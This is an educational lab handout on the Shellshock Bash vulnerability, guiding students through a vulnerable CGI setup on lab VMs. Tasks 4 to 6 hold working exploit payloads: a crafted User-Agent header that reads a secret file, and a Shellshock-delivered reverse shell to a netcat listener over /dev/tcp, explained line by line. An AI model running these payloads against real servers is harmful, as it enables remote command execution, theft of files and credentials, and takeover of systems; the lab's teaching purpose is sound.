# Shellshock Attack Lab

## Table of Contents

## Overview

On September 24, 2014, a severe vulnerability in Bash was identified. Nicknamed Shellshock, this vulnerability can exploit many systems and be launched either remotely or from a local machine. In this
lab, students need to work on this attack, so they can understand the Shellshock vulnerability. The learning objective of this lab is for students to get a first-hand experience on this interesting attack, understand how it works, and think about the lessons that we can get out of this attack. This lab covers the following topics:

- Shellshock
- Environment variables
- Function definition in Bash
- Apache and CGI programs

Lab environment. This lab has been tested on our pre-built Ubuntu 16.04 VM, which can be downloaded from the SEED website. https://seedsecuritylabs.org/lab_env.html. Download the June 2019 version of ubuntu 16.04

Tasks 1-4 : One VM sufficient

Task 5 onwards: Two VMs required

## Lab Tasks

### Task 1: Experimenting with Bash Function

- In this task we will export a simple environment variable to see its effect on the bash and learn how the shellshock vulnerability works. Go to **cgi-bin** directory to run all the tasks for this lab. (/usr/lib/cgi-bin)

  Functions can be declared without the usage of environment variables as shown below.

  **Commands**:

  ```
  $ foo () { echo “hello world”;}
  $ echo $foo
  $ declare -f foo
  $ unset -f foo
  $ declare -f foo
  ```

**Provide your Screen shot with observation**

Functions can be declared by using environment variables as shown below.

**Commands**:

```
$ foo=‘() { echo “hello world”;}’
$ echo $foo
$ declare -f foo
$ export foo
$ bash_shellshock
$ declare -f foo
$ foo
$ unset foo
```

**Provide your Screen shot with observation**

When we declare an environment variable which has a body of function in its value then that environment variable will be treated as a normal environment variable in that bash. That is why when we use the declare command in bash we see nothing but when we export the environment variable and open another bash then this environment variable is inherited by the child bash. The child bash inherits the environment variable, parses it and now treats it as a function instead. Thus executing foo in the child bash will echo “hello world” on the standard output.

- Shellshock Vulnerability: Inheriting from parent to child

  **Commands:**
  $ foo='() { echo "hello world";}; echo "This is shellshock vulnerability"'
  $ export foo
  $ echo $foo
  $ bash_shellshock
  **Provide your Screen shot with observation**

- The same attack when performed in the patched version of bash, nothing gets printed to the standard output console.

  **Commands:**
  $ foo='() { echo "hello world";}; echo "This is shellshock vulnerability"'
  $ export foo
  $ bash

  **Provide your Screen shot with observation**

## Task 2: Setting up CGI programs

- In this lab, we will launch a Shellshock attack on a remote web server. Many web servers enable CGI, which is a standard method used to generate dynamic content on Web pages and Web applications. Many CGI programs are written using shell scripts. Therefore, before a CGI program is executed, a shell program will be invoked first, and such an invocation is triggered by a user from a remote computer.

  If the shell program is a vulnerable Bash program, we can exploit the Shellshock vulnerable to gain privileges on the server. In this task, we will set up a very simple CGI program (called myprogram.cgi) like the following. It simply prints out "Hello World" using a shell script.

  **myprogram.cgi:**
```
#!/bin/bash_shellshock
echo "Content-type:text/plain"
echo
echo
echo "Hello World"
```

Please make sure you use /bin/bash_shellshock, instead of using /bin/bash. The line specifies what shell program should be invoked to run the script. We need to use the vulnerable Bash in this lab. Please place the above CGI program in the /usr/lib/cgi-bin directory and set its permission to 755 (so it is executable). You need to use the root privilege (sudo) to do these, as the folder is only writable by the root.

**Commands:**

```
$ sudo chmod 755 myprogram.cgi
$ ls -l myprogram.cgi
```

**Provide your Screen shot with observation**

- This folder is the default CGI directory for the Apache web server To access this CGI program from the Web, you can either use a browser by typing the following URL: http://localhost/cgi-bin/myprogram.cgi, or use the following command line program curl to do the same thing:

**Command:**

```
$ curl http://localhost/cgi-bin/myprogram.cgi
```

**Provide your Screen shot with observation**

In our setup, we run the Web server and the attack from the same computer, and that is why we use localhost. In real attacks, the server is running on a remote machine, and instead of using localhost we use the hostname or the IP address of the server.

**Provide your Screen shot with observation**

## Task 3: Passing Data to Bash via Environment Variable

- To exploit a Shellshock vulnerability in a Bash-based CGI program, attackers need to pass their data to the vulnerable Bash program, and the data need to be passed via an environment variable. In this task, we need to see how we can achieve this goal. You can use the following CGI program to demonstrate that you can send out an arbitrary string to the CGI program, and the string will show up in the content of one of the environment variables.

**myprog.cgi:**

```
#!/bin/bash_shellshock
echo "Content-type:text/plain"
echo
echo "****** Environment Variables ******"
strings /proc/$$/environ
```

**Command:**

```
$ curl http://localhost/cgi-bin/myprog.cgi
$ curl http://localhost/cgi-bin/myprog.cgi -A "MY MALICIOUS DATA"
```

**Provide your Screen shot with observation**

The last line of the code above prints out the contents of all the environment variables in the current process. If your experiment is successful, you should be able to see your data string in the page that you get back from the server.
**In your report, please explain how the data from a remote user can get into those environment variables.**

## Task 4: Launching the Shellshock Attack

After the above CGI program is set up, we can now launch the Shellshock attack. The attack does not depend on what is in the CGI program, as it targets the Bash program, which is invoked first, before the CGI script is executed. Your goal is to launch the attack through the URL http://localhost/cgi-bin/myprog.cgi, such that you can achieve something that you cannot do as a remote user. In this task, you should demonstrate the following:

- Use the Shellshock attack to steal the content of a secret file from the server.

  **Commands:**
  Please create one text file, name it as 'secret' and store it in /usr/lib/cgi-bin directory with some arbitrary username and password data in it.

  **Provide your Screen shot with observation**

- Use the myprog.cgi (from Task 3) program to steal contents of a secret file from server

  **Commands:**

  ```
  $ curl http://localhost/cgi-bin/secret
  ```

  **Provide your Screen shot with observation**

$ curl -v http://localhost/cgi-bin/myprog.cgi -A “() { :;}; echo Content-type:text/plain; echo; /bin/cat secret;”

**Provide your Screen shot with observation**

Answer the following questions:

1. Will you be able to steal the content of the shadow file /etc/shadow?
    a. **Provide your Screen shot with observation**
2. Why or why not?
    a. **Provide your Screen shot with observation**

## Task 5: Getting a Reverse Shell via Shellshock Attack

The Shellshock vulnerability allows attacks to run arbitrary commands on the target machine. In real attacks, instead of hard-coding the command in their attack, attackers often choose to run a shell command, so they can use this shell to run other commands, for as long as the shell program is alive. To achieve this goal, attackers need to run a reverse shell.
Reverse shell is a shell process started on a machine, with its input and output being controlled by somebody from a remote computer. Basically, the shell runs on the victim’s machine, but it takes input from the attacker machine and also prints its output on the attacker’s machine. Reverse shell gives attackers a convenient way to run commands on a compromised machine.

In this task, you need to use two machines, here
IP 10.0.2.23 as an attacker and IP 10.0.2.8 as a victim.

**Commands:**
**On the Attacker machine:**
$ nc -lvp 9090
**On the Victim server:**
$ /bin/bash -i > /dev/tcp/10.0.2.23/9090 0<&1 2>&1

**Provide your Screen shot with observation**

The above command represents the one that would normally be executed on a compromised server.
It is quite complicated, and we give a detailed explanation in the following:

- "/bin/bash -i": The option i stands for interactive, meaning that the shell must be interactive (must provide a shell prompt).
- "> /dev/tcp/10.0.2.23/9090": This causes the output device (stdout) of the shell to be redirected to the TCP connection to 10.0.2.23's port 9090. In Unix systems, stdout's file descriptor is 1.
- "0<&1": File descriptor 0 represents the standard input device (stdin). This option tells the system to use the standard output device as the standard input device. Since stdout is already redirected to the TCP connection, this option basically indicates that the shell program will get its input from the same TCP connection.
- "2>&1": File descriptor 2 represents the standard error stderr. This causes the error output to be redirected to std out, which is the TCP connection.

In summary, the command "/bin/bash -i > /dev/tcp/10.0.2.23/9090 0<&1 2>&1" starts a bash shell on the server machine, with its input coming from a TCP connection, and output going to the same TCP connection. In our experiment, when the bash shell command is executed on 10.0.2.8, it connects back to the netcat process started on 10.0.2.23. This is confirmed via the "Connection from 10.0.2.8 port 9090 [tcp/*] accepted" message displayed by netcat.

**Commands:**
**On the Attacker:**
**In one terminal**
$ nc -lvp 9090

**Provide your Screen shot with observation**

**In another terminal**
$ curl -v http://10.0.2.8/cgi-bin/myprog.cgi -A "() { :;}; echo Content-type:text/plain; echo; /bin/bash -i > /dev/tcp/10.0.2.23/9090 0<&1 2>&1"

**Provide your Screen shot with observation**

## Task 6: Using the Patched Bash

Redo Tasks 3-5 and describe your observations. We modify cgi program.

**myprogram.cgi**
```
#!/bin/bash
echo "Content-type: text/plain"
echo
echo "****** Environment Variables ******"
strings /proc/$$/environ
```

**Commands:**

Task 3:

```
$ curl -v http://localhost/cgi-bin/myprogram.cgi -A “MY MALICIOUS DATA”
```

**Provide your Screen shots with observation**

Task 4:

```
$ curl -v http://localhost/cgi-bin/myprogram.cgi -A “() { :;}; echo Content-type:text/plain;
echo; /bin/cat secret;”
```

**Provide your Screen shots with observation**

Task 5:

```
$ nc -lvp 9090
$ curl -v http://10.0.2.8/cgi-bin/myprog.cgi -A “() { :;}; echo Content-type:text/plain; echo;
/bin/bash -i > /dev/tcp/10.0.2.23/9090 0<&1 2>&1”
```

**Provide your Screen shots with observation**

## Submission

You need to submit a detailed lab report to describe what you have done and what you have observed, including screenshots and code snippets. You also need to provide explanation to the observations that are interesting or surprising. You are encouraged to pursue further investigation, beyond what is required by the lab description.